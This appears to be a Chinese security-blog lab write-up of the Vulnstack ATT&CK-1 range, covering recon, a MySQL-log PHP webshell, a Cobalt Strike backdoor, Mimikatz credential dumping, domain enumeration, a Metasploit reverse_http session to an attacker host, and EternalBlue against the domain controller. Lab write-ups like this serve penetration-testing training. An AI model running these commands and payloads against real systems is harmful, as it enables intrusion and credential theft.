freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

vulnstack靶场:ATT&CK攻击-1
开冲 2022-06-27 23:26:15 388810
所属地 海南省

前言

本文章靶场采用红日靶场,模拟真实企业环境,通过练习、视频教程、博客三位一体学习,从环境搭建、漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场和设计题目。虚拟机所有统一密码为hongrisec@2019

nyEGD.png

环境搭建

首先下载vulnstack自带的靶场环境,13g没把我吓傻靶场地址
下载完之后得到三个虚拟机文件,直接在vmware打开就行。首先得配置虚拟机网络,使得能够模拟内网。网络拓扑如下:
nvpTB.png
可以看到Win7需要设置两个网卡,内网网卡和外网网卡。Win3和Win8皆内网网卡即可。

总体编辑网络如下:
nvJZs.png
1.Vm1网卡作为仅主机模式,设置为52网段。因为三台域环境虚拟机的IP初始状态被设置为固定的192.168.52.XXX/24网段。(同时已配置好域控IP必定为192.168.52.138)

Win7编辑网络如下:
nv69r.png
nv47S.png
nvXUM.png

Win3和Win8编辑网络如下:
nvGPi.png
nvEzL.png

ping通情况:
1.内网win3和win8相互ping通,win7可以ping通外网和内网机器,内网机器则ping不通win7。
2.本机可以ping通win7。

主机IP地址
本机192.168.123.44
win7外网服务器外网IP:192.168.123.42 内网IP:192.168.52.143
Win3域成员内网IP:192.168.52.141
Win8域控主机内网IP:192.168.52.138
kali攻击机(MSF、CS服务器)IP:192.168.123.106

外网突破

要进入内网,先进行外网打点,找到目标单位的外网服务站点、主机漏洞,并获得Shell,借助外网服务器当作跳板机访问目标内网。

先了解基本的渗透流程

信息收集:目标站点的IP、域名、服务、DNS、端口、框架、数据库
 |
外网打点:针对不同点发现漏洞(这里最看重渗透能力)
 |
内网提权:寻找可以提权,如内核,命令等
 |
内网漫游:寻找内网主机,查看他们漏洞,找通用,CS上线(理想状态)

信息收集

使用nmap对目标IP进行端口探测

nmap -sF -p 1-65535 192.168.123.43

ny23S.png
发现存在http、mysql服务。
使用nmap对目标IP

nmap -sF -O 192.168.123.42

nyXtC.png

查看web服务,收集到的信息如下:

php-version:5.4
apache-version:2.4
admin邮箱:	admin@phpStudy.net
网站路径:	C:/phpStudy/WWW
探针路径:	C:/phpStudy/WWW/1.php

进行路径遍历,使用dirsearch

python3 dirsearch.py -u "http://192.168.123.42/" -x 400,403,503,500

nyu2L.png

出现phpmyadmin,查看是否可以连接mysql。

在看3306端口,可以使用MSF进行弱密码爆破。

3306端口试探

查看3306打开,进行弱口令爆破,打开MSF
ny3bi.png
使用mysql模块

search mysql

npX4F.png

use scanner/mysql/mysql_login
set USERNAME root
set PASS_FILE /home/l3ife/字典/撞库列表名单.txt

爆破不出来,换种思路。

Mysql写日志shell

首先看页面,为php探针,用来探测配置,例如查看服务器参数、php模块和参数、检测某些函数能否使用和支持mysql连接正常。
npCmb.png
输入root/root
npwVl.png
连接mysql成功

在前面dirsearch检测目录存在phpmyadmin,root/root登录进去目标网站数据库。

phpmyadmin渗透思路:

get shell:
	int outfile写入webshell
		1.1 当前数据库用户有写权限
		1.2 web绝对路径
		1.3 web路径可以写入
日志 get shell:
	条件:
		1.读写权限+WEB绝对路径
已知CVE攻击

这里尝试一下,先执行SQL语句select @@basedir;查看网站物理路径
nJT4S.png
查看数据库用户是否具有写权限
nJU6N.png
secure_file_priv默认为NULL,不允许导入导出。直接get shell失败,尝试日志写shell。

执行命令

1.show variables like '%general%'; //查看日志状态,当general_log开启,执行SQL语句会存在stu1.log里,修改general_log_file的值,执行SQL语句就会生成对应文件,便可以执行shell。
2.SET GLOBAL general_log='on'; //开启日志
3.SET GLOBAL general_log_file='C:/phpStudy/www/shell.php' //指定日志写入到网站根目录下的shell.php文件
4.SELECT '<?php eval($_POST["cmd"]);?>' //写入shell

nJkmL.png
nJxYi.png

写入shell,直接访问该shell就行。
nJhAt.png
进行蚁剑连接。
nJiSx.png


这里拿yxcms后台上传shell也可以。
网站给了后台地址/index.php?r=admin / 账号密码为admin/123456
nJ7np.png
cms后台系列,可以找模板编辑,找到“前台编辑”功能,编辑文件:
nJNDU.png
需要找到木马上传到哪个位置,通过找到源码发现生成在/yxcms/protected/apps/default/view/default/路径(遍历目录存在beifen.rar源码)
nJe6Y.png
蚁剑连接
nJAkv.png
自此外网边界突破已成功,重点来学习内网知识。

内网探测

目的是通过win7外网服务器主机的控制权,横向渗透内网,拿下域控。首先进行内网信息收集,摸清内网域组成和网络拓扑。

CS Backdoor上线

拿下服务器权限要植入Backdoor,可以尝试MSF或者CS。这里使用CS。

使用kali运行CS服务,先下载CS并放到kali上,切换到CS目录

./teamserver kali的IP  密码 //启动CS

本机开启客户端,连接kali
n4yPD.png
n4pT6.png
生成exe可执行Backdoor程序
n4JvP.png
把exe通过蚁剑放到win7的网站目录下
n4Pdb.png
蚁剑运行exe文件,CS靶机上线
n4tOl.png

使用提权功能,提权为system权限
n4Cac.png
使用Mimikatz抓取本机用户密码(注意的是,mimikatz需要过杀软,而需要的免杀又是另一个研究方向了)
n4wer.png
在View里的credentials里可以看到hashdump与mimikatz获取的数据
nDMGM.png
win7的登录密码出来了。

域内信息收集

进入beacon,通过shell+命令进行收集信息。查询域控以及域内的其他主机,附上部分内网信息收集的命令:

net view                 # 查看局域网内其他主机名
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器主机名(可能有多台)

1.判断是否存在域,

net config workstation //查看本机的计算机名、用户名、系统版本、工作站、域、登录域的全面信息

n4Q9S.png

判断域:
	1.ipconfig \all
	2.systeminfo
	3.net time /domain 
		1.存在域,当前用户不是域用户
		2.存在域,当前用户是域用户
		3.不存在域
	4.shell net view /domain //查看当前域

2.查看有几个域

net view /domain

nDzGg.png
DNS服务器名为god.org,当前登录域为GOD,只存在一个域。

3.查看域控制器的主机用户名,确认域控主机

net group "domain controllers" /domain

nDF3B.png
发现域控主机名为OWA

4.查询域内的存活主机信息,得知域控主机的IP为192.168.52.138,为win8域控主机。

net view

nDntK.png

5.发现局域网还存在另一台主机(名称为ROOT-TVI862UBEH),确认该主机是否存在域内。查看域中的其他主机名。

shell net group "domain computers" /domain

nDNWS.png

确认域控主机为192.168.52.138,存在另一台域成员192.168.52.141(Win3),接下来就是进行横向渗透拿下域控。

内网横向渗透

通过WIn7跳板机,横向渗透拿下内网域内的域成员和域控主机。内网主机漏洞多存在于系统老旧,未打补丁。

CS派生会话给MSF

1.在kali进行MSF监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.123.106
set lport 6666
exploit 

nDKoL.png
2.CS开启监听
回到CS的客户端添加监听器,Payload为windows/foreign/reverse_http,IP为MSF的IP,监听端口为MSF监听的端口
nDy3t.png
3.进行派生会话,从CS-MSF,选择刚才创建的监听器
nDmix.png
返回kali的MSF获得shell会话
nDptj.png
4.MSF简单利用
调用post/windows/gather/checkvm判断靶机是否为虚拟机
nDJ2p.png
调用post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序
nDRbU.png

MSF进行永恒之蓝

借助MSF集成的攻击模块拿下内网其他机器。

1.首先配置静态路由,MSF访问不到内网机器,可以在MSF基础上添加一条去往内网的路由,就可以使用MSF访问原本访问不到的内网资源。

meterpreter > run post/multi/manage/autoroute
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD

添加失败,路由已经存在
nDHqq.png
2.返回MSF对内网主机探测端口

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141 
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run

nDLrc.png
发现开启了139和445端口,利用同方法对域控主机192.168.52.138进行端口扫描

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.138
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run

nDEQr.png
3.使用ms17-010攻击
使用msf漏洞扫描模块进行扫描

msf6 >search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run  #进行扫描,观察是否存在该漏洞

发现都存在ms17-010漏洞
nDSiG.png
使用exp进行攻击

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set rhost 192.168.52.138
msf6 > run

nDu6K.png

总结

大体思路如下
Nxhka.png
对于内网我参考了很多博主,也学习到一些思路和原理。在正常渗透测试中,不可能一帆风顺。要知道原理,尝试不同的方法。

参考

msf各种弱口令爆破
phpmyadmin渗透利用
内网信息收集
windows域环境身份认证与攻击思路
域内密码抓取方法总结

# web安全 # 内网渗透
本文为 开冲 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
开冲 LV.5
这家伙太懒了,还未填写个人描述!
  • 18 文章数
  • 17 关注者
对Linux提权的简单总结[中]
2022-06-13
[VulnHub]hackdale:2靶场记录
2022-05-19
[VulnHub]hackdale:1靶场记录
2022-05-19
文章目录